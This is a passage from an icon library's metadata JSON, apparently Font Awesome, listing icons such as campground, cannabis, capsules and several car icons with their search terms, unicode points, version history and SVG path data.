        "path": "M213.1 64.8L202.7 96H128c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H437.3L426.9 64.8C420.4 45.2 402.1 32 381.4 32H258.6c-20.7 0-39 13.2-45.5 32.8zM448 256c0 8.8-7.2 16-16 16H355.3c-6.2 0-11.3-5.1-11.3-11.3c0-3 1.2-5.9 3.3-8L371 229c-13.6-13.4-31.9-21-51-21c-19.2 0-37.7 7.6-51.3 21.3L249 249c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l19.7-19.7C257.4 172.7 288 160 320 160c31.8 0 62.4 12.6 85 35l23.7-23.7c2.1-2.1 5-3.3 8-3.3c6.2 0 11.3 5.1 11.3 11.3V256zM192 320c0-8.8 7.2-16 16-16h76.7c6.2 0 11.3 5.1 11.3 11.3c0 3-1.2 5.9-3.3 8L269 347c13.6 13.4 31.9 21 51 21c19.2 0 37.7-7.6 51.3-21.3L391 327c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-19.7 19.7C382.6 403.3 352 416 320 416c-31.8 0-62.4-12.6-85-35l-23.7 23.7c-2.1 2.1-5 3.3-8 3.3c-6.2 0-11.3-5.1-11.3-11.3V320z"
      }
    },
    "free": ["solid"]
  },
  "campground": {
    "aliases": {
      "unicodes": {
        "composite": ["26fa"],
        "secondary": ["10f6bb"]
      }
    },
    "changes": [
      "5.4.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["camping", "fall", "outdoors", "teepee", "tent", "tipi"]
    },
    "styles": ["solid"],
    "unicode": "f6bb",
    "label": "Campground",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M377 52c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5L288 60.8 249 12c-11-13.8-31.2-16-45-5s-16 31.2-5 45l48 60L12.3 405.4C4.3 415.4 0 427.7 0 440.4V464c0 26.5 21.5 48 48 48H288 528c26.5 0 48-21.5 48-48V440.4c0-12.7-4.3-25.1-12.3-35L329 112l48-60zM288 448H168.5L288 291.7 407.5 448H288z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M377 52c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5L288 60.8 249 12c-11-13.8-31.2-16-45-5s-16 31.2-5 45l48 60L12.3 405.4C4.3 415.4 0 427.7 0 440.4V464c0 26.5 21.5 48 48 48H288 528c26.5 0 48-21.5 48-48V440.4c0-12.7-4.3-25.1-12.3-35L329 112l48-60zM288 448H168.5L288 291.7 407.5 448H288z"
      }
    },
    "free": ["solid"]
  },
  "canadian-maple-leaf": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["canada", "flag", "flora", "nature", "plant"]
    },
    "styles": ["brands"],
    "unicode": "f785",
    "label": "Canadian Maple Leaf",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z"
      }
    },
    "free": ["brands"]
  },
  "candy-cane": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f786"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "candy",
        "christmas",
        "holiday",
        "mint",
        "peppermint",
        "striped",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f786",
    "label": "Candy Cane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M348.8 131.5c3.7-2.3 7.9-3.5 12.2-3.5c12.7 0 23 10.3 23 23v5.6c0 9.9-5.1 19.1-13.5 24.3L30.1 393.7C.1 412.5-9 451.9 9.7 481.9s58.2 39.1 88.2 20.4L438.4 289.5c45.8-28.6 73.6-78.8 73.6-132.8V151C512 67.6 444.4 0 361 0c-28.3 0-56 8-80.1 23L254.1 39.7c-30 18.7-39.1 58.2-20.4 88.2s58.2 39.1 88.2 20.4l26.8-16.8zM298.4 49.8c9.2-5.7 19.1-10.1 29.4-13.1L348 97.5c-5.7 1.4-11.2 3.7-16.3 6.8l-12.6 7.9L298.4 49.8zm88.5 52.7l46.2-46.2c8.5 6.5 16.1 14.1 22.6 22.6l-46.2 46.2c-5.1-9.6-13-17.5-22.6-22.6zm28.9 59.3l61.6 20.5c-2.2 10.5-5.8 20.7-10.5 30.2l-62-20.7c6.2-8.8 10.1-19.1 11-30.1zm-86.1 82.5l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zm-107.2 67l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zM119.3 375.7l60.4 37.7-30.2 18.9L89.1 394.6l30.2-18.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M348.8 131.5c3.7-2.3 7.9-3.5 12.2-3.5c12.7 0 23 10.3 23 23v5.6c0 9.9-5.1 19.1-13.5 24.3L30.1 393.7C.1 412.5-9 451.9 9.7 481.9s58.2 39.1 88.2 20.4L438.4 289.5c45.8-28.6 73.6-78.8 73.6-132.8V151C512 67.6 444.4 0 361 0c-28.3 0-56 8-80.1 23L254.1 39.7c-30 18.7-39.1 58.2-20.4 88.2s58.2 39.1 88.2 20.4l26.8-16.8zM298.4 49.8c9.2-5.7 19.1-10.1 29.4-13.1L348 97.5c-5.7 1.4-11.2 3.7-16.3 6.8l-12.6 7.9L298.4 49.8zm88.5 52.7l46.2-46.2c8.5 6.5 16.1 14.1 22.6 22.6l-46.2 46.2c-5.1-9.6-13-17.5-22.6-22.6zm28.9 59.3l61.6 20.5c-2.2 10.5-5.8 20.7-10.5 30.2l-62-20.7c6.2-8.8 10.1-19.1 11-30.1zm-86.1 82.5l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zm-107.2 67l60.4 37.7-30.2 18.9-60.4-37.7 30.2-18.9zM119.3 375.7l60.4 37.7-30.2 18.9L89.1 394.6l30.2-18.9z"
      }
    },
    "free": ["solid"]
  },
  "cannabis": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f55f"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bud",
        "chronic",
        "drugs",
        "endica",
        "endo",
        "ganja",
        "marijuana",
        "mary jane",
        "pot",
        "reefer",
        "sativa",
        "spliff",
        "weed",
        "whacky-tabacky"
      ]
    },
    "styles": ["solid"],
    "unicode": "f55f",
    "label": "Cannabis",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0c5.3 0 10.3 2.7 13.3 7.1c15.8 23.5 36.7 63.7 49.2 109c7.2 26.4 11.8 55.2 10.4 84c11.5-8.8 23.7-16.7 35.8-23.6c41-23.3 84.4-36.9 112.2-42.5c5.2-1 10.7 .6 14.4 4.4s5.4 9.2 4.4 14.5c-5.6 27.7-19.3 70.9-42.7 111.7c-9.1 15.9-19.9 31.7-32.4 46.3c27.8 6.6 52.4 17.3 67.2 25.5c5.1 2.8 8.2 8.2 8.2 14s-3.2 11.2-8.2 14c-15.2 8.4-40.9 19.5-69.8 26.1c-20.2 4.6-42.9 7.2-65.2 4.6l8.3 33.1c1.5 6.1-.6 12.4-5.5 16.4s-11.6 4.6-17.2 1.9L280 417.2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V417.2l-58.5 29.1c-5.6 2.8-12.3 2.1-17.2-1.9s-7-10.3-5.5-16.4l8.3-33.1c-22.2 2.6-45 0-65.2-4.6c-28.9-6.6-54.6-17.6-69.8-26.1c-5.1-2.8-8.2-8.2-8.2-14s3.2-11.2 8.2-14c14.8-8.2 39.4-18.8 67.2-25.5C78.9 296.3 68.1 280.5 59 264.6c-23.4-40.8-37.1-84-42.7-111.7c-1.1-5.2 .6-10.7 4.4-14.5s9.2-5.4 14.4-4.4c27.9 5.5 71.2 19.2 112.2 42.5c12.1 6.9 24.3 14.7 35.8 23.6c-1.4-28.7 3.1-57.6 10.4-84c12.5-45.3 33.4-85.5 49.2-109c3-4.4 8-7.1 13.3-7.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0c5.3 0 10.3 2.7 13.3 7.1c15.8 23.5 36.7 63.7 49.2 109c7.2 26.4 11.8 55.2 10.4 84c11.5-8.8 23.7-16.7 35.8-23.6c41-23.3 84.4-36.9 112.2-42.5c5.2-1 10.7 .6 14.4 4.4s5.4 9.2 4.4 14.5c-5.6 27.7-19.3 70.9-42.7 111.7c-9.1 15.9-19.9 31.7-32.4 46.3c27.8 6.6 52.4 17.3 67.2 25.5c5.1 2.8 8.2 8.2 8.2 14s-3.2 11.2-8.2 14c-15.2 8.4-40.9 19.5-69.8 26.1c-20.2 4.6-42.9 7.2-65.2 4.6l8.3 33.1c1.5 6.1-.6 12.4-5.5 16.4s-11.6 4.6-17.2 1.9L280 417.2V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V417.2l-58.5 29.1c-5.6 2.8-12.3 2.1-17.2-1.9s-7-10.3-5.5-16.4l8.3-33.1c-22.2 2.6-45 0-65.2-4.6c-28.9-6.6-54.6-17.6-69.8-26.1c-5.1-2.8-8.2-8.2-8.2-14s3.2-11.2 8.2-14c14.8-8.2 39.4-18.8 67.2-25.5C78.9 296.3 68.1 280.5 59 264.6c-23.4-40.8-37.1-84-42.7-111.7c-1.1-5.2 .6-10.7 4.4-14.5s9.2-5.4 14.4-4.4c27.9 5.5 71.2 19.2 112.2 42.5c12.1 6.9 24.3 14.7 35.8 23.6c-1.4-28.7 3.1-57.6 10.4-84c12.5-45.3 33.4-85.5 49.2-109c3-4.4 8-7.1 13.3-7.1z"
      }
    },
    "free": ["solid"]
  },
  "capsules": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f46b"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medicine", "pills", "prescription"]
    },
    "styles": ["solid"],
    "unicode": "f46b",
    "label": "Capsules",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 144c0-26.5 21.5-48 48-48s48 21.5 48 48V256H64V144zM0 144V368c0 61.9 50.1 112 112 112s112-50.1 112-112V189.6c1.8 19.1 8.2 38 19.8 54.8L372.3 431.7c35.5 51.7 105.3 64.3 156 28.1s63-107.5 27.5-159.2L427.3 113.3C391.8 61.5 321.9 49 271.3 85.2c-28 20-44.3 50.8-47.3 83V144c0-61.9-50.1-112-112-112S0 82.1 0 144zm296.6 64.2c-16-23.3-10-55.3 11.9-71c21.2-15.1 50.5-10.3 66 12.2l67 97.6L361.6 303l-65-94.8zM491 407.7c-.8 .6-1.6 1.1-2.4 1.6l4-2.8c-.5 .4-1 .8-1.6 1.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 144c0-26.5 21.5-48 48-48s48 21.5 48 48V256H64V144zM0 144V368c0 61.9 50.1 112 112 112s112-50.1 112-112V189.6c1.8 19.1 8.2 38 19.8 54.8L372.3 431.7c35.5 51.7 105.3 64.3 156 28.1s63-107.5 27.5-159.2L427.3 113.3C391.8 61.5 321.9 49 271.3 85.2c-28 20-44.3 50.8-47.3 83V144c0-61.9-50.1-112-112-112S0 82.1 0 144zm296.6 64.2c-16-23.3-10-55.3 11.9-71c21.2-15.1 50.5-10.3 66 12.2l67 97.6L361.6 303l-65-94.8zM491 407.7c-.8 .6-1.6 1.1-2.4 1.6l4-2.8c-.5 .4-1 .8-1.6 1.2z"
      }
    },
    "free": ["solid"]
  },
  "car": {
    "aliases": {
      "names": ["automobile"],
      "unicodes": {
        "composite": ["1f698"],
        "secondary": ["10f1b9"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "auto",
        "automobile",
        "car",
        "oncoming",
        "oncoming automobile",
        "sedan",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1b9",
    "label": "Car",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M135.2 117.4L109.1 192H402.9l-26.1-74.6C372.3 104.6 360.2 96 346.6 96H165.4c-13.6 0-25.7 8.6-30.2 21.4zM39.6 196.8L74.8 96.3C88.3 57.8 124.6 32 165.4 32H346.6c40.8 0 77.1 25.8 90.6 64.3l35.2 100.5c23.2 9.6 39.6 32.5 39.6 59.2V400v48c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V400H96v48c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V400 256c0-26.7 16.4-49.6 39.6-59.2zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M135.2 117.4L109.1 192H402.9l-26.1-74.6C372.3 104.6 360.2 96 346.6 96H165.4c-13.6 0-25.7 8.6-30.2 21.4zM39.6 196.8L74.8 96.3C88.3 57.8 124.6 32 165.4 32H346.6c40.8 0 77.1 25.8 90.6 64.3l35.2 100.5c23.2 9.6 39.6 32.5 39.6 59.2V400v48c0 17.7-14.3 32-32 32H448c-17.7 0-32-14.3-32-32V400H96v48c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V400 256c0-26.7 16.4-49.6 39.6-59.2zM128 288a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm288 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "car-battery": {
    "aliases": {
      "names": ["battery-car"],
      "unicodes": {
        "secondary": ["10f5df"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["auto", "electric", "mechanic", "power"]
    },
    "styles": ["solid"],
    "unicode": "f5df",
    "label": "Car Battery",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M80 96c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32l96 0c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32h16c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64l16 0zm304 96c0-8.8-7.2-16-16-16s-16 7.2-16 16v32H320c-8.8 0-16 7.2-16 16s7.2 16 16 16h32v32c0 8.8 7.2 16 16 16s16-7.2 16-16V256h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H384V192zM80 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M80 96c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32l96 0c0-17.7 14.3-32 32-32h64c17.7 0 32 14.3 32 32h16c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64l16 0zm304 96c0-8.8-7.2-16-16-16s-16 7.2-16 16v32H320c-8.8 0-16 7.2-16 16s7.2 16 16 16h32v32c0 8.8 7.2 16 16 16s16-7.2 16-16V256h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H384V192zM80 240c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H96c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "car-burst": {
    "aliases": {
      "names": ["car-crash"],
      "unicodes": {
        "secondary": ["10f5e1"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accident",
        "auto",
        "automobile",
        "insurance",
        "sedan",
        "transportation",
        "vehicle",
        "wreck"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5e1",
    "label": "Car Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M176 8c-6.6 0-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6l35.3-32.5 9.5-35.4 10.4-38.6c8-29.9 30.5-52.1 57.9-60.9l41-59.2c11.3-16.3 26.4-28.9 43.5-37.2c-.4-.6-.8-1.2-1.3-1.8c-4.1-5.1-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74C188.4 12 182.6 8 176 8zM367.7 161.5l135.6 36.3c6.5 1.8 11.3 7.4 11.8 14.2l4.6 56.5-201.5-54 32.2-46.6c3.8-5.6 10.8-8.1 17.3-6.4zm-69.9-30l-47.9 69.3c-21.6 3-40.3 18.6-46.3 41l-10.4 38.6-16.6 61.8-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9 247.3 66.3-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9L595 388l10.4-38.6c6-22.4-2.5-45.2-19.6-58.7l-6.8-84c-2.7-33.7-26.4-62-59-70.8L384.2 99.7c-32.7-8.8-67.3 4-86.5 31.8zm-17 131a24 24 0 1 1 -12.4 46.4 24 24 0 1 1 12.4-46.4zm217.9 83.2A24 24 0 1 1 545 358.1a24 24 0 1 1 -46.4-12.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M176 8c-6.6 0-12.4 4-14.9 10.1l-29.4 74L55.6 68.9c-6.3-1.9-13.1 .2-17.2 5.3s-4.6 12.2-1.4 17.9l39.5 69.1L10.9 206.4c-5.4 3.7-8 10.3-6.5 16.7s6.7 11.2 13.1 12.2l78.7 12.2L90.6 327c-.5 6.5 3.1 12.7 9 15.5s12.9 1.8 17.8-2.6l35.3-32.5 9.5-35.4 10.4-38.6c8-29.9 30.5-52.1 57.9-60.9l41-59.2c11.3-16.3 26.4-28.9 43.5-37.2c-.4-.6-.8-1.2-1.3-1.8c-4.1-5.1-10.9-7.2-17.2-5.3L220.3 92.1l-29.4-74C188.4 12 182.6 8 176 8zM367.7 161.5l135.6 36.3c6.5 1.8 11.3 7.4 11.8 14.2l4.6 56.5-201.5-54 32.2-46.6c3.8-5.6 10.8-8.1 17.3-6.4zm-69.9-30l-47.9 69.3c-21.6 3-40.3 18.6-46.3 41l-10.4 38.6-16.6 61.8-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9 247.3 66.3-8.3 30.9c-4.6 17.1 5.6 34.6 22.6 39.2l15.5 4.1c17.1 4.6 34.6-5.6 39.2-22.6l8.3-30.9L595 388l10.4-38.6c6-22.4-2.5-45.2-19.6-58.7l-6.8-84c-2.7-33.7-26.4-62-59-70.8L384.2 99.7c-32.7-8.8-67.3 4-86.5 31.8zm-17 131a24 24 0 1 1 -12.4 46.4 24 24 0 1 1 12.4-46.4zm217.9 83.2A24 24 0 1 1 545 358.1a24 24 0 1 1 -46.4-12.4z"
      }
    },
    "free": ["solid"]
  },
  "car-on": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["alarm", "car", "carjack", "warning"]
    },
    "styles": ["solid"],
    "unicode": "e4dd",
    "label": "Car On",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M280 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V24zM185.8 224H326.2c6.8 0 12.8 4.3 15.1 10.6L360.3 288H151.7l19.1-53.4c2.3-6.4 8.3-10.6 15.1-10.6zm-75.3-10.9L82.2 292.4C62.1 300.9 48 320.8 48 344v40 64 32c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V448H384v32c0 17.7 14.3 32 32 32h16c17.7 0 32-14.3 32-32V448 384 344c0-23.2-14.1-43.1-34.2-51.6l-28.3-79.3C390.1 181.3 360 160 326.2 160H185.8c-33.8 0-64 21.3-75.3 53.1zM128 344a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm232 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM39 39c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L73 39c-9.4-9.4-24.6-9.4-33.9 0zm400 0L391 87c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M280 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v80c0 13.3 10.7 24 24 24s24-10.7 24-24V24zM185.8 224H326.2c6.8 0 12.8 4.3 15.1 10.6L360.3 288H151.7l19.1-53.4c2.3-6.4 8.3-10.6 15.1-10.6zm-75.3-10.9L82.2 292.4C62.1 300.9 48 320.8 48 344v40 64 32c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V448H384v32c0 17.7 14.3 32 32 32h16c17.7 0 32-14.3 32-32V448 384 344c0-23.2-14.1-43.1-34.2-51.6l-28.3-79.3C390.1 181.3 360 160 326.2 160H185.8c-33.8 0-64 21.3-75.3 53.1zM128 344a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm232 24a24 24 0 1 1 48 0 24 24 0 1 1 -48 0zM39 39c-9.4 9.4-9.4 24.6 0 33.9l48 48c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9L73 39c-9.4-9.4-24.6-9.4-33.9 0zm400 0L391 87c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l48-48c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "car-rear": {
    "aliases": {
      "names": ["car-alt"],
      "unicodes": {
        "secondary": ["10f5de"]
      }
    },
    "changes": [
      "5.2.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "auto",
        "automobile",
        "sedan",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5de",
    "label": "Car Rear",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M165.4 96H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 192H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zm-90.6 .3L39.6 196.8C16.4 206.4 0 229.3 0 256v80c0 23.7 12.9 44.4 32 55.4V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V400H384v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V391.4c19.1-11.1 32-31.7 32-55.4V256c0-26.7-16.4-49.6-39.6-59.2L437.2 96.3C423.7 57.8 387.4 32 346.6 32H165.4c-40.8 0-77.1 25.8-90.6 64.3zM208 272h96c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V288c0-8.8 7.2-16 16-16zM48 280c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-13.3 0-24-10.7-24-24zm360-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H408c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M165.4 96H346.6c13.6 0 25.7 8.6 30.2 21.4L402.9 192H109.1l26.1-74.6c4.5-12.8 16.6-21.4 30.2-21.4zm-90.6 .3L39.6 196.8C16.4 206.4 0 229.3 0 256v80c0 23.7 12.9 44.4 32 55.4V448c0 17.7 14.3 32 32 32H96c17.7 0 32-14.3 32-32V400H384v48c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V391.4c19.1-11.1 32-31.7 32-55.4V256c0-26.7-16.4-49.6-39.6-59.2L437.2 96.3C423.7 57.8 387.4 32 346.6 32H165.4c-40.8 0-77.1 25.8-90.6 64.3zM208 272h96c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H208c-8.8 0-16-7.2-16-16V288c0-8.8 7.2-16 16-16zM48 280c0-13.3 10.7-24 24-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H72c-13.3 0-24-10.7-24-24zm360-24h32c13.3 0 24 10.7 24 24s-10.7 24-24 24H408c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "car-side": {
    "aliases": {
      "unicodes": {
        "composite": ["1f697"],
        "secondary": ["10f5e4"]
      }
    },
    "changes": [
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "auto",
        "automobile",
        "car",
        "sedan",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5e4",
